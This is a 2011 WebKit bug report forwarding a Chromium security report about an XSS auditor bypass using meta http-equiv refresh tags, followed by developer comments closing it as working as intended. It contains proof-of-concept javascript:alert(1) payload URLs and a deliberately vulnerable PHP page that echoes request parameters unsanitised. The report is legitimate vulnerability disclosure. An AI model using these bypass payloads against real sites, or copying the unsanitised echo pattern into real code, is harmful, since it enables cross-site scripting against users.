Bug 67091

Summary: XSS auditor bypass with http-equiv="refresh"
Product: WebKit Reporter: Adam Barth <abarth>
Component: WebKit Misc.Assignee: Nobody <webkit-unassigned>
Status: RESOLVED WONTFIX    
Severity: Normal CC: ap, dbates, tsepez
Priority: P2    
Version: 528+ (Nightly build)   
Hardware: Unspecified   
OS: Unspecified   
Bug Depends on:    
Bug Blocks: 66579    

Description Adam Barth 2011-08-27 13:30:16 PDT
http://code.google.com/p/chromium/issues/detail?id=94482


Reported by j.terh...@gmail.com, Today (4 hours ago)
VULNERABILITY DETAILS
A basic reflected XSS, using the <meta http-equiv="refresh" /> vector, is allowed by the XSS filter.

VERSION
Chrome Version: 13.0.782.215 m + stable
Operating System: Windows NT 5.1 build 2600 (Windows XP Home Edition Service Pack 3) i586

REPRODUCTION CASE
Place the attached php file in a web accessible directory of a php enabled apache server at http://<host>/xss.php and call:
http://<host>/xss.php?refresh=javascript:alert(1)

The alert is shown and no blocking message is posted to the console. However the call:
http://<host>/xss.php?body=%3Cscript%3Ealert(1)%3C/script%3E 

_is_ blocked and the usual blocking message ("Refused to execute a JavaScript script. Source code of script found within request.") is posted to the console. See screenshots refresh.jpg and basic.jpg.

ADDITIONAL:
If line 4 of the php script is changed to:
echo "<meta http-equiv='refresh' content='0; url=javascript:{$_GET['refresh']}' />";

the filter will also miss the reflected XSS if called as follows: 
http://<host>/xss.php?refresh=alert(1)

Also if line 4 is changed to:
echo "<meta http-equiv='refresh' {$_GET['refresh']} />";

and called using:
http://<host>/xss.php?refresh=content=%220;%20url=javascript:alert(1)%22

the XSS is also allowed. _However_ if line 4 is changed to:
echo "<meta {$_GET['refresh']} />";

and the call:
http://<host>/xss.php?refresh=http-equiv=%22refresh%22%20content=%220;%20url=javascript:alert(1)%22

is made, the filter WILL detect the XSS (see screenshot refresh2.jpg)

PHP Version: 5.3.5
Apache: Apache/2.2.17 (Win32) compiled with MSVC6


<html>
<?php
        if( isset($_GET['refresh']) ) {
                //echo "<meta http-equiv='refresh' content='0; url={$_GET['refresh']}' />";
                echo "<meta http-equiv='refresh' {$_GET['refresh']} />";
                //echo "<meta http-equiv='refresh' content='0; url=javascript:{$_GET['refresh']}' />";
        }
?>
<body>
<?php
        if( isset($_GET['body']) ) {
                echo $_GET['body'];
        }
?>
</body>
</html>
Comment 1 Thomas Sepez 2011-08-29 10:40:47 PDT
<meta> refresh to "javascript:" seems dubious.  Can we measure how often this occurs in the wild?  Might be best to just block it using a mechanism other than XSSAuditor.
Comment 2 Adam Barth 2011-08-29 12:15:20 PDT
Does meta-refresh to a JavaScript URL work in other browsers?  It seems there couple be a compat issue with just removing it.
Comment 3 Adam Barth 2011-08-29 12:16:57 PDT
Actually, this is working as intended.  The bypass is only occurring when the injection is in the context of the refresh itself, which isn't something we're trying to stop.